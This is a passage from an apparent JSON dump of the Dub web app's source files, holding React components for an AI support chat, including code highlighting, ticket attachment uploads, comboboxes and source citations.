    "content": "\"use client\";\n\nimport { Check, Copy, Download } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport {\n  isValidElement,\n  useCallback,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport type { BundledLanguage, Highlighter } from \"shiki\";\n\nlet _highlighterPromise: Promise<Highlighter> | null = null;\n\nfunction getHighlighter(): Promise<Highlighter> {\n  if (!_highlighterPromise) {\n    _highlighterPromise = import(\"shiki\").then(({ createHighlighter }) =>\n      createHighlighter({ themes: [\"github-light\"], langs: [] }),\n    );\n  }\n  return _highlighterPromise;\n}\n\nasync function highlightCode(\n  code: string,\n  lang: string,\n): Promise<string | null> {\n  try {\n    const highlighter = await getHighlighter();\n    const loaded = highlighter.getLoadedLanguages();\n    if (lang && !loaded.includes(lang as BundledLanguage)) {\n      try {\n        await highlighter.loadLanguage(lang as BundledLanguage);\n      } catch {\n        return null;\n      }\n    }\n    const html = highlighter.codeToHtml(code, {\n      lang: lang || \"text\",\n      theme: \"github-light\",\n    });\n\n    const start = html.indexOf(\"<code\");\n    const codeStart = html.indexOf(\">\", start) + 1;\n    const codeEnd = html.lastIndexOf(\"</code>\");\n    if (start !== -1 && codeEnd !== -1) return html.slice(codeStart, codeEnd);\n    return null;\n  } catch {\n    return null;\n  }\n}\n\nconst LANG_EXTENSIONS: Record<string, string> = {\n  javascript: \"js\",\n  js: \"js\",\n  typescript: \"ts\",\n  ts: \"ts\",\n  tsx: \"tsx\",\n  jsx: \"jsx\",\n  python: \"py\",\n  py: \"py\",\n  bash: \"sh\",\n  sh: \"sh\",\n  shell: \"sh\",\n  shellscript: \"sh\",\n  zsh: \"zsh\",\n  ruby: \"rb\",\n  rb: \"rb\",\n  go: \"go\",\n  rust: \"rs\",\n  rs: \"rs\",\n  css: \"css\",\n  scss: \"scss\",\n  sass: \"sass\",\n  html: \"html\",\n  xml: \"xml\",\n  json: \"json\",\n  yaml: \"yaml\",\n  yml: \"yml\",\n  toml: \"toml\",\n  sql: \"sql\",\n  php: \"php\",\n  java: \"java\",\n  kotlin: \"kt\",\n  swift: \"swift\",\n  c: \"c\",\n  cpp: \"cpp\",\n  cs: \"cs\",\n  markdown: \"md\",\n  md: \"md\",\n};\n\nfunction CopyButton({ code }: { code: string }) {\n  const [copied, setCopied] = useState(false);\n  const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);\n\n  useEffect(\n    () => () => {\n      if (timerRef.current) clearTimeout(timerRef.current);\n    },\n    [],\n  );\n\n  const handleCopy = useCallback(async () => {\n    if (copied) return;\n    try {\n      await navigator.clipboard.writeText(code);\n    } catch {\n      // Fallback for iframe contexts where clipboard API is restricted\n      const ta = document.createElement(\"textarea\");\n      ta.value = code;\n      ta.style.cssText = \"position:fixed;opacity:0;pointer-events:none\";\n      document.body.appendChild(ta);\n      ta.select();\n      document.execCommand(\"copy\");\n      document.body.removeChild(ta);\n    }\n    setCopied(true);\n    timerRef.current = setTimeout(() => setCopied(false), 2000);\n  }, [code, copied]);\n\n  return (\n    <button\n      type=\"button\"\n      onClick={handleCopy}\n      className=\"rounded p-1 text-neutral-400 transition-colors hover:bg-neutral-100 hover:text-neutral-600\"\n      title={copied ? \"Copied!\" : \"Copy code\"}\n    >\n      {copied ? <Check className=\"size-3.5\" /> : <Copy className=\"size-3.5\" />}\n    </button>\n  );\n}\n\nfunction DownloadButton({\n  code,\n  language,\n}: {\n  code: string;\n  language: string;\n}) {\n  const handleDownload = useCallback(() => {\n    const trimmed = language?.trim().toLowerCase();\n    const ext = (trimmed && (LANG_EXTENSIONS[trimmed] ?? trimmed)) || \"txt\";\n    const blob = new Blob([code], { type: \"text/plain\" });\n    const url = URL.createObjectURL(blob);\n    const a = document.createElement(\"a\");\n    a.href = url;\n    a.download = `code.${ext}`;\n    document.body.appendChild(a);\n    a.click();\n    document.body.removeChild(a);\n    URL.revokeObjectURL(url);\n  }, [code, language]);\n\n  return (\n    <button\n      type=\"button\"\n      onClick={handleDownload}\n      className=\"rounded p-1 text-neutral-400 transition-colors hover:bg-neutral-100 hover:text-neutral-600\"\n      title=\"Download file\"\n    >\n      <Download className=\"size-3.5\" />\n    </button>\n  );\n}\n\nexport function CodeBlock({\n  code,\n  language,\n}: {\n  code: string;\n  language: string;\n}) {\n  const trimmedCode = code.replace(/\\n+$/, \"\");\n  const [highlightedHtml, setHighlightedHtml] = useState<string | null>(null);\n\n  useEffect(() => {\n    if (!trimmedCode) return;\n    highlightCode(trimmedCode, language).then(setHighlightedHtml);\n  }, [trimmedCode, language]);\n\n  return (\n    <div className=\"my-2 overflow-hidden rounded-xl border border-neutral-200 text-sm\">\n      <div className=\"flex h-9 items-center justify-between border-b border-neutral-200 bg-neutral-50 px-3\">\n        <span className=\"font-mono text-xs lowercase text-neutral-400\">\n          {language || \"code\"}\n        </span>\n        <div className=\"flex items-center gap-0.5\">\n          <DownloadButton code={trimmedCode} language={language} />\n          <CopyButton code={trimmedCode} />\n        </div>\n      </div>\n\n      <div className=\"overflow-x-auto bg-white px-4 py-3\">\n        <pre className=\"m-0 bg-transparent font-mono text-[13px] leading-relaxed\">\n          {highlightedHtml ? (\n            <code dangerouslySetInnerHTML={{ __html: highlightedHtml }} />\n          ) : (\n            <code className=\"text-neutral-700\">{trimmedCode}</code>\n          )}\n        </pre>\n      </div>\n    </div>\n  );\n}\n\nexport function MarkdownCodeBlock({\n  className,\n  children,\n  node: _node,\n  \"data-block\": dataBlock,\n}: React.HTMLAttributes<HTMLElement> & {\n  node?: unknown;\n  \"data-block\"?: string;\n}) {\n  if (!dataBlock) {\n    return (\n      <code\n        className={cn(\n          \"rounded bg-neutral-100 px-1.5 py-0.5 font-mono text-[0.8em] text-neutral-700\",\n          className,\n        )}\n      >\n        {children}\n      </code>\n    );\n  }\n\n  const langMatch = className?.match(/language-([^\\s]+)/);\n  const language = langMatch?.[1] ?? \"\";\n\n  let code = \"\";\n  if (\n    isValidElement(children) &&\n    children.props !== null &&\n    typeof children.props === \"object\" &&\n    \"children\" in children.props &&\n    typeof (children.props as { children: unknown }).children === \"string\"\n  ) {\n    code = (children.props as { children: string }).children;\n  } else if (typeof children === \"string\") {\n    code = children;\n  }\n\n  return <CodeBlock code={code} language={language} />;\n}\n"
  },
  {
    "path": "apps/web/ui/support/embedded-chat.tsx",
    "content": "\"use client\";\n\nimport { useSession } from \"next-auth/react\";\nimport { useState } from \"react\";\nimport { ChatInterface } from \"./chat-interface\";\nimport { ClearChatButton } from \"./clear-chat-button\";\n\nexport function EmbeddedSupportChat() {\n  const { data: session } = useSession();\n  const [resetKey, setResetKey] = useState(0);\n  const handleReset = () => {\n    if (session?.user?.[\"id\"]) {\n      try {\n        localStorage.removeItem(`dub-support-chat:${session.user[\"id\"]}`);\n      } catch {}\n    }\n    setResetKey((k) => k + 1);\n  };\n\n  return (\n    <div className=\"flex min-h-[500px] flex-col overflow-hidden rounded-xl border border-neutral-200 bg-white\">\n      <div className=\"flex shrink-0 items-center justify-between border-b border-neutral-100 bg-neutral-50 px-5 py-4\">\n        <div className=\"flex items-center gap-3\">\n          <img\n            src=\"https://assets.dub.co/misc/dub-avatar.svg\"\n            alt=\"Dub Support\"\n            className=\"size-8 rounded-full\"\n            draggable={false}\n          />\n          <div>\n            <p className=\"text-sm font-semibold text-neutral-900\">\n              Dub Support\n            </p>\n            <p className=\"text-xs text-neutral-500\">\n              AI-powered · escalates to human when needed\n            </p>\n          </div>\n        </div>\n\n        <ClearChatButton\n          onConfirm={handleReset}\n          triggerClassName=\"size-8 text-neutral-400 hover:bg-neutral-100 hover:text-neutral-700\"\n          iconClassName=\"size-4\"\n        />\n      </div>\n\n      <ChatInterface\n        key={resetKey}\n        onReset={handleReset}\n        className=\"flex-1 px-1\"\n        embedded\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/message.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\n\nexport function SupportMessage({\n  avatar,\n  content,\n  animate = false,\n  children,\n  isUser = false,\n}: PropsWithChildren<{\n  avatar?: string;\n  content?: string;\n  animate?: boolean;\n  isUser?: boolean;\n}>) {\n  return (\n    <div\n      className={cn(\n        \"flex origin-top-left items-start gap-3\",\n        isUser && \"flex-row-reverse items-end\",\n        animate && \"animate-scale-in-fade\",\n      )}\n    >\n      {avatar && (\n        <img\n          src={avatar}\n          alt=\"avatar\"\n          className={cn(\"size-8 shrink-0 rounded-full\", isUser && \"mb-1\")}\n          draggable={false}\n        />\n      )}\n\n      <div\n        className={cn(\n          \"max-w-[85%] grow py-1\",\n          isUser && \"flex flex-col items-end\",\n        )}\n      >\n        {content && (\n          <p\n            className={cn(\n              \"rounded-2xl rounded-br px-3 py-2 text-sm\",\n              isUser ? \"bg-neutral-900 text-white\" : \"text-neutral-800\",\n            )}\n          >\n            {content}\n          </p>\n        )}\n        {children && (\n          <div\n            className={cn(\n              \"text-sm\",\n              isUser &&\n                \"rounded-2xl rounded-br bg-neutral-900 px-3 py-2 text-white\",\n            )}\n          >\n            {children}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/program-combobox.tsx",
    "content": "\"use client\";\n\nimport { Combobox } from \"@dub/ui\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\n\nexport type ProgramSummary = {\n  id: string;\n  name: string;\n  slug: string;\n  logo?: string | null;\n};\n\nexport function ProgramCombobox({\n  enrollments,\n  isLoading,\n  selectedSlug,\n  onSelect,\n}: {\n  enrollments: { program: ProgramSummary }[] | undefined;\n  isLoading: boolean;\n  selectedSlug?: string;\n  onSelect: (program: ProgramSummary) => void;\n}) {\n  const [open, setOpen] = useState(false);\n\n  const options = useMemo(\n    () =>\n      enrollments?.map((e) => ({\n        value: e.program.slug,\n        label: e.program.name,\n        icon: (\n          <img\n            src={\n              e.program.logo ||\n              `${OG_AVATAR_URL}${encodeURIComponent(e.program.name)}`\n            }\n            alt={e.program.name}\n            className=\"size-3.5 rounded-full\"\n          />\n        ),\n      })),\n    [enrollments],\n  );\n\n  const selected = useMemo(\n    () => options?.find((o) => o.value === selectedSlug) ?? null,\n    [options, selectedSlug],\n  );\n\n  const isReady = !isLoading && enrollments !== undefined;\n\n  return (\n    <Combobox\n      forceDropdown\n      options={isReady ? options : undefined}\n      setSelected={(opt) => {\n        if (!opt) return;\n        const enrollment = enrollments?.find(\n          (e) => e.program.slug === opt.value,\n        );\n        if (enrollment) onSelect(enrollment.program);\n      }}\n      selected={selected}\n      icon={selected?.icon}\n      caret\n      placeholder={isReady ? \"Select program\" : \"\"}\n      searchPlaceholder=\"Search programs...\"\n      matchTriggerWidth\n      popoverProps={{\n        contentClassName: \"w-[var(--radix-popover-trigger-width)]\",\n      }}\n      open={open}\n      onOpenChange={setOpen}\n      buttonProps={{\n        className: cn(\n          \"w-full max-w-[360px] justify-start border-neutral-300 px-2.5 h-9 text-sm\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n        ),\n      }}\n      labelProps={{\n        className: \"text-sm text-neutral-600\",\n      }}\n      inputClassName=\"text-sm h-10\"\n      optionClassName=\"h-8\"\n      emptyState={\n        <div className=\"flex w-full flex-col items-center gap-2 py-3 text-xs text-neutral-500\">\n          No programs found\n        </div>\n      }\n    >\n      {!isReady ? (\n        <div className=\"flex items-center gap-1.5 text-sm\">\n          <div className=\"size-3.5 animate-pulse rounded-full bg-neutral-200\" />\n          <div className=\"h-3.5 w-24 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      ) : (\n        selected?.label\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/source-citations.tsx",
    "content": "\"use client\";\n\nimport { Book2Small } from \"@dub/ui/icons\";\nimport { useState } from \"react\";\n\nexport type SourceCitation = {\n  url: string;\n  heading: string;\n  type: \"docs\" | \"help\";\n};\n\nexport function SourceCitations({ sources }: { sources: SourceCitation[] }) {\n  const [open, setOpen] = useState(false);\n\n  if (!sources.length) return null;\n\n  return (\n    <div className=\"mt-4\">\n      <button\n        type=\"button\"\n        onClick={() => setOpen((v) => !v)}\n        className=\"flex items-center gap-1.5 text-xs font-medium text-blue-600 hover:text-blue-800\"\n      >\n        <Book2Small className=\"size-3.5 shrink-0\" />\n        <span>\n          Used {sources.length} source{sources.length > 1 ? \"s\" : \"\"}\n        </span>\n        <svg\n          width=\"10\"\n          height=\"10\"\n          viewBox=\"0 0 10 10\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth={1.75}\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          className={`transition-transform duration-150 ${open ? \"rotate-180\" : \"\"}`}\n        >\n          <path d=\"M2 3.5L5 6.5L8 3.5\" />\n        </svg>\n      </button>\n\n      {open && (\n        <ul className=\"mt-1.5 space-y-1 pl-1\">\n          {sources.map((source) => (\n            <li key={source.url}>\n              <a\n                href={source.url}\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"flex items-center gap-1.5 text-xs text-neutral-500 underline decoration-dotted underline-offset-2 hover:text-neutral-700\"\n              >\n                <span className=\"shrink-0 rounded border border-neutral-200 bg-neutral-100 px-1 py-px text-[10px] font-medium text-neutral-500\">\n                  {source.type === \"help\" ? \"Help\" : \"Docs\"}\n                </span>\n                {source.heading}\n              </a>\n            </li>\n          ))}\n        </ul>\n      )}\n    </div>\n  );\n}\n\nexport function extractSources(\n  parts: { type: string; [key: string]: unknown }[],\n): SourceCitation[] {\n  const seen = new Set<string>();\n  const sources: SourceCitation[] = [];\n\n  for (const part of parts) {\n    if (part.type !== \"tool-findRelevantDocs\") continue;\n    if ((part as any).state !== \"output-available\") continue;\n\n    const output = (part as any).output;\n    if (!Array.isArray(output)) continue;\n\n    for (const r of output) {\n      const meta = r?.metadata;\n      if (typeof meta?.url !== \"string\" || typeof meta?.heading !== \"string\")\n        continue;\n\n      const baseUrl = meta.url.split(\"#\")[0];\n      if (seen.has(baseUrl)) continue;\n      seen.add(baseUrl);\n\n      sources.push({\n        url: baseUrl,\n        heading: meta.heading,\n        type: meta.type ?? \"docs\",\n      });\n    }\n  }\n\n  return sources;\n}\n"
  },
  {
    "path": "apps/web/ui/support/starter-questions.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport { SupportChatContext } from \"./types\";\n\nconst STARTER_QUESTIONS: Record<SupportChatContext, string[]> = {\n  app: [\n    \"How do I set up custom domain?\",\n    \"How do I set up conversion tracking?\",\n    \"How does attribution work?\",\n    \"How do I use the Dub API?\",\n    \"How do I set up a partner program?\",\n    \"How do I update my billing information?\",\n  ],\n  partners: [\n    \"How do I set up my bank account for payouts?\",\n    \"Which countries support payouts?\",\n    \"How is my commission calculated?\",\n    \"When will I receive my payout?\",\n    \"How do I track my referral clicks?\",\n    \"How do I update my partner profile?\",\n  ],\n};\n\nexport function StarterQuestions({\n  context,\n  onSelect,\n  className,\n}: {\n  context: SupportChatContext;\n  onSelect: (question: string) => void;\n  className?: string;\n}) {\n  const questions = STARTER_QUESTIONS[context] ?? STARTER_QUESTIONS.app;\n\n  return (\n    <div className={cn(\"flex flex-wrap gap-2\", className)}>\n      {questions.map((q) => (\n        <button\n          key={q}\n          type=\"button\"\n          onClick={() => onSelect(q)}\n          className=\"rounded-full border border-neutral-200 bg-white px-3 py-1.5 text-xs font-medium text-neutral-600 shadow-sm transition-colors hover:border-neutral-300 hover:bg-neutral-50 hover:text-neutral-800\"\n        >\n          {q}\n        </button>\n      ))}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/status-indicator.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\n\ntype StatusIndicatorProps = {\n  label: string;\n  className?: string;\n};\n\nexport function StatusIndicator({ label, className }: StatusIndicatorProps) {\n  return (\n    <span className={cn(\"animate-pulse text-xs text-neutral-400\", className)}>\n      {label}\n    </span>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/ticket-upload.tsx",
    "content": "\"use client\";\n\nimport { FileContent, Xmark } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport { useCallback, useEffect, useRef, useState } from \"react\";\n\nconst ACCEPTED_TYPES = [\n  \"image/png\",\n  \"image/jpeg\",\n  \"image/gif\",\n  \"image/webp\",\n  \"application/pdf\",\n  \"text/plain\",\n  \"text/csv\",\n];\nconst MAX_FILE_SIZE_MB = 10;\nconst MAX_FILE_SIZE_BYTES = MAX_FILE_SIZE_MB * 1024 * 1024;\nconst MAX_FILES = 5;\n\ntype FileStatus = \"pending\" | \"uploading\" | \"done\" | \"error\";\n\ntype FileEntry = {\n  id: string;\n  file: File;\n  status: FileStatus;\n  attachmentId?: string;\n  errorMessage?: string;\n};\n\nasync function uploadToPlain(\n  file: File,\n): Promise<{ attachmentId: string } | { error: string }> {\n  const res = await fetch(\"/api/ai/support-chat/upload\", {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: JSON.stringify({ fileName: file.name, fileSizeBytes: file.size }),\n  });\n\n  if (!res.ok) {\n    return { error: \"Failed to get upload URL\" };\n  }\n\n  const {\n    attachmentId,\n    uploadFormUrl,\n    uploadFormData,\n  }: {\n    attachmentId: string;\n    uploadFormUrl: string;\n    uploadFormData: { key: string; value: string }[];\n  } = await res.json();\n\n  const formData = new FormData();\n  for (const { key, value } of uploadFormData) {\n    formData.append(key, value);\n  }\n  formData.append(\"file\", file);\n\n  const uploadRes = await fetch(uploadFormUrl, {\n    method: \"POST\",\n    body: formData,\n  });\n\n  if (!uploadRes.ok) {\n    return { error: \"Upload failed\" };\n  }\n\n  return { attachmentId };\n}\n\nexport function TicketUpload({\n  onSubmit,\n  onCancel,\n  submitted = false,\n}: {\n  onSubmit: (attachmentIds: string[], details: string) => void;\n  onCancel?: () => void;\n  submitted?: boolean;\n}) {\n  const [files, setFiles] = useState<FileEntry[]>([]);\n  const [isDragging, setIsDragging] = useState(false);\n  const [details, setDetails] = useState(\"\");\n  const fileInputRef = useRef<HTMLInputElement>(null);\n\n  const isUploading = files.some((f) => f.status === \"uploading\");\n  const canSubmit = !isUploading;\n\n  const addFiles = useCallback((incoming: File[]) => {\n    const valid = incoming\n      .filter((f) => {\n        if (!ACCEPTED_TYPES.includes(f.type)) return false;\n        if (f.size > MAX_FILE_SIZE_BYTES) return false;\n        return true;\n      })\n      .slice(0, MAX_FILES);\n\n    if (valid.length === 0) return;\n\n    const entries: FileEntry[] = valid.map((file) => ({\n      id: `${file.name}-${file.size}-${Date.now()}-${Math.random()}`,\n      file,\n      status: \"uploading\",\n    }));\n\n    setFiles((prev) => [...prev, ...entries].slice(0, MAX_FILES));\n\n    entries.forEach((entry) => {\n      uploadToPlain(entry.file).then((result) => {\n        setFiles((prev) => {\n          if (!prev.some((f) => f.id === entry.id)) return prev;\n          return prev.map((f) =>\n            f.id === entry.id\n              ? \"error\" in result\n                ? { ...f, status: \"error\", errorMessage: result.error }\n                : { ...f, status: \"done\", attachmentId: result.attachmentId }\n              : f,\n          );\n        });\n      });\n    });\n  }, []);\n\n  const removeFile = (id: string) => {\n    setFiles((prev) => prev.filter((f) => f.id !== id));\n  };\n\n  const handleDrop = (e: React.DragEvent) => {\n    e.preventDefault();\n    setIsDragging(false);\n    addFiles(Array.from(e.dataTransfer.files));\n  };\n\n  const handleSubmit = () => {\n    const attachmentIds = files\n      .filter((f) => f.status === \"done\" && f.attachmentId)\n      .map((f) => f.attachmentId!);\n    onSubmit(attachmentIds, details.trim());\n  };\n\n  if (submitted) {\n    return (\n      <div className=\"flex items-center gap-3 px-3 pb-3\">\n        <div className=\"flex size-6 shrink-0 items-center justify-center rounded-full bg-green-100 text-xs font-bold text-green-600\">\n          ✓\n        </div>\n        <div>\n          <p className=\"text-sm font-medium text-neutral-700\">\n            Ticket submitted\n          </p>\n          <p className=\"text-xs text-neutral-500\">\n            Our support team will be in touch soon.\n          </p>\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div className=\"flex flex-col gap-3 p-3 pt-0\">\n      <div>\n        <p className=\"text-sm font-medium text-neutral-700\">\n          Create a support ticket\n        </p>\n        <p className=\"mt-0.5 text-xs text-neutral-500\">\n          Our team will review your request and get back to you shortly.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col gap-1.5\">\n        <p className=\"text-xs font-medium text-neutral-500\">\n          What can we help with?\n        </p>\n        <textarea\n          value={details}\n          onChange={(e) => setDetails(e.target.value)}\n          placeholder=\"Describe your issue in more detail...\"\n          rows={3}\n          className=\"w-full resize-none rounded-lg border border-neutral-200 px-3 py-2 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-400 focus:outline-none focus:ring-2 focus:ring-neutral-200\"\n        />\n      </div>\n\n      <div className=\"flex items-center justify-between\">\n        <p className=\"text-xs font-medium text-neutral-500\">Attachments</p>\n        <p className=\"text-xs text-neutral-400\">\n          Images, PDF · max {MAX_FILE_SIZE_MB}MB · up to {MAX_FILES} files\n        </p>\n      </div>\n\n      {files.length < MAX_FILES && (\n        <div\n          role=\"button\"\n          tabIndex={0}\n          onDragOver={(e) => {\n            e.preventDefault();\n            setIsDragging(true);\n          }}\n          onDragLeave={() => setIsDragging(false)}\n          onDrop={handleDrop}\n          onClick={() => fileInputRef.current?.click()}\n          onKeyDown={(e) => {\n            if (e.key === \"Enter\" || e.key === \" \") {\n              e.preventDefault();\n              fileInputRef.current?.click();\n            }\n          }}\n          className={cn(\n            \"flex cursor-pointer flex-col items-center justify-center gap-1.5 rounded-xl border-2 border-dashed py-5 transition-colors focus:outline-none focus-visible:ring-2 focus-visible:ring-neutral-400\",\n            isDragging\n              ? \"border-neutral-400 bg-neutral-50\"\n              : \"border-neutral-200 hover:border-neutral-300 hover:bg-neutral-50\",\n          )}\n        >\n          <p className=\"text-xs font-medium text-neutral-500\">\n            Drag & drop or{\" \"}\n            <span className=\"text-neutral-700 underline underline-offset-2\">\n              browse\n            </span>\n          </p>\n          <input\n            ref={fileInputRef}\n            type=\"file\"\n            multiple\n            accept={ACCEPTED_TYPES.join(\",\")}\n            className=\"hidden\"\n            onChange={(e) => addFiles(Array.from(e.target.files ?? []))}\n          />\n        </div>\n      )}\n\n      {files.length > 0 && (\n        <div className=\"flex flex-wrap gap-2\">\n          {files.map((entry) => (\n            <FilePreview\n              key={entry.id}\n              entry={entry}\n              onRemove={() => removeFile(entry.id)}\n            />\n          ))}\n        </div>\n      )}\n\n      <div className=\"flex items-center justify-between gap-2 border-t border-neutral-100 pt-2\">\n        {onCancel && (\n          <button\n            type=\"button\"\n            onClick={onCancel}\n            className=\"rounded-md px-3 py-1.5 text-xs font-medium text-neutral-500 transition-colors hover:text-neutral-700\"\n          >\n            Cancel\n          </button>\n        )}\n        <button\n          type=\"button\"\n          onClick={handleSubmit}\n          disabled={!canSubmit}\n          className={cn(\n            \"rounded-lg px-4 py-1.5 text-xs font-medium transition-colors\",\n            canSubmit\n              ? \"bg-neutral-900 text-white hover:bg-neutral-700\"\n              : \"cursor-not-allowed bg-neutral-200 text-neutral-400\",\n          )}\n        >\n          {isUploading ? \"Uploading...\" : \"Submit ticket\"}\n        </button>\n      </div>\n    </div>\n  );\n}\n\nfunction FilePreview({\n  entry,\n  onRemove,\n}: {\n  entry: FileEntry;\n  onRemove: () => void;\n}) {\n  const isImage = entry.file.type.startsWith(\"image/\");\n  const [previewUrl, setPreviewUrl] = useState<string | null>(null);\n\n  useEffect(() => {\n    if (!isImage) return;\n    const url = URL.createObjectURL(entry.file);\n    setPreviewUrl(url);\n    return () => URL.revokeObjectURL(url);\n  }, [entry.file, isImage]);\n\n  const removeBtn = (\n    <button\n      type=\"button\"\n      onClick={onRemove}\n      aria-label=\"Remove file\"\n      className=\"absolute -right-1.5 -top-1.5 flex size-5 items-center justify-center rounded-full bg-neutral-900 text-white shadow transition-colors hover:bg-neutral-700\"\n    >\n      <Xmark className=\"size-2.5\" />\n    </button>\n  );\n\n  if (isImage && previewUrl) {\n    return (\n      <div className=\"relative size-16 shrink-0\">\n        <img\n          src={previewUrl}\n          alt={entry.file.name}\n          className={cn(\n            \"size-full rounded-lg object-cover\",\n            entry.status === \"uploading\" && \"opacity-50\",\n            entry.status === \"error\" && \"opacity-50 ring-2 ring-red-400\",\n          )}\n        />\n        {entry.status === \"uploading\" && (\n          <div className=\"absolute inset-0 flex items-center justify-center rounded-lg bg-black/20\">\n            <div className=\"size-4 animate-spin rounded-full border-2 border-white border-t-transparent\" />\n          </div>\n        )}\n        {removeBtn}\n      </div>\n    );\n  }\n\n  const fileTypeLabel =\n    entry.status === \"uploading\"\n      ? \"Uploading…\"\n      : entry.status === \"error\"\n        ? \"Failed\"\n        : entry.file.type === \"application/pdf\"\n          ? \"PDF\"\n          : entry.file.type === \"text/csv\"\n            ? \"CSV\"\n            : \"File\";\n\n  return (\n    <div className=\"relative flex shrink-0 items-center gap-2 rounded-xl border border-neutral-200 bg-white py-2 pl-2.5 pr-8\">\n      <div className=\"flex size-8 shrink-0 items-center justify-center rounded-lg bg-neutral-100\">\n        <FileContent className=\"size-4 text-neutral-400\" />\n      </div>\n      <div className=\"max-w-[112px]\">\n        <p className=\"truncate text-xs font-medium text-neutral-700\">\n          {entry.file.name}\n        </p>\n        <p\n          className={cn(\n            \"text-[10px]\",\n            entry.status === \"error\" ? \"text-red-500\" : \"text-neutral-400\",\n          )}\n        >\n          {fileTypeLabel}\n        </p>\n      </div>\n      {removeBtn}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/support/types.ts",
    "content": "export type SupportChatVariant = \"embedded\" | \"bubble\";\nexport type SupportChatContext = \"app\" | \"partners\";\n\nconst CONTEXT_MAP: Record<string, SupportChatContext> = {\n  app: \"app\",\n  partners: \"partners\",\n};\n\nexport function parseSupportChatVariant(\n  value: string | undefined,\n): SupportChatVariant {\n  return value === \"embedded\" ? \"embedded\" : \"bubble\";\n}\n\nexport function parseSupportChatContext(\n  value: string | undefined,\n): SupportChatContext {\n  return (value && CONTEXT_MAP[value]) || \"app\";\n}\n"
  },
  {
    "path": "apps/web/ui/support/workspace-combobox.tsx",
    "content": "\"use client\";\n\nimport { Combobox } from \"@dub/ui\";\nimport { cn, OG_AVATAR_URL } from \"@dub/utils\";\nimport { useMemo, useState } from \"react\";\n\nexport type WorkspaceSummary = {\n  id: string;\n  name: string;\n  slug: string;\n  logo?: string | null;\n};\n\nexport function WorkspaceCombobox({\n  workspaces,\n  selectedSlug,\n  onSelect,\n}: {\n  workspaces: WorkspaceSummary[] | undefined;\n  selectedSlug?: string;\n  onSelect: (ws: WorkspaceSummary) => void;\n}) {\n  const [open, setOpen] = useState(false);\n\n  const options = useMemo(\n    () =>\n      workspaces?.map((ws) => ({\n        value: ws.slug,\n        label: ws.name,\n        icon: (\n          <img\n            src={ws.logo || `${OG_AVATAR_URL}${encodeURIComponent(ws.name)}`}\n            alt={ws.name}\n            className=\"size-3.5 rounded-full\"\n          />\n        ),\n      })),\n    [workspaces],\n  );\n\n  const selected = useMemo(\n    () => options?.find((o) => o.value === selectedSlug) ?? null,\n    [options, selectedSlug],\n  );\n\n  return (\n    <Combobox\n      forceDropdown\n      options={workspaces === undefined ? undefined : options}\n      setSelected={(opt) => {\n        if (!opt) return;\n        const ws = workspaces?.find((w) => w.slug === opt.value);\n        if (ws) onSelect(ws);\n      }}\n      selected={selected}\n      icon={selected?.icon}\n      caret\n      placeholder={workspaces === undefined ? \"\" : \"Select workspace\"}\n      searchPlaceholder=\"Search workspaces...\"\n      matchTriggerWidth\n      popoverProps={{\n        contentClassName: \"w-[var(--radix-popover-trigger-width)]\",\n      }}\n      open={open}\n      onOpenChange={setOpen}\n      buttonProps={{\n        className: cn(\n          \"w-full max-w-[360px] justify-start border-neutral-300 px-2.5 h-9 text-sm\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n        ),\n      }}\n      labelProps={{\n        className: \"text-sm text-neutral-600\",\n      }}\n      inputClassName=\"text-sm h-10\"\n      optionClassName=\"h-8\"\n      emptyState={\n        <div className=\"flex w-full flex-col items-center gap-2 py-3 text-xs text-neutral-500\">\n          No workspaces found\n        </div>\n      }\n    >\n      {workspaces === undefined ? (\n        <div className=\"flex items-center gap-1.5 text-sm\">\n          <div className=\"size-3.5 animate-pulse rounded-full bg-neutral-200\" />\n          <div className=\"h-3.5 w-24 animate-pulse rounded bg-neutral-200\" />\n        </div>\n      ) : (\n        selected?.label\n      )}\n    </Combobox>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/token-avatar.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function TokenAvatar({\n  id,\n  className,\n}: {\n  id: string;\n  className?: string;\n}) {\n  return (\n    <img\n      src={`https://api.dicebear.com/9.x/shapes/svg?seed=${id}`}\n      alt=\"avatar\"\n      className={cn(\"h-10 w-10 rounded-full\", className)}\n      draggable={false}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/users/user-avatar.tsx",
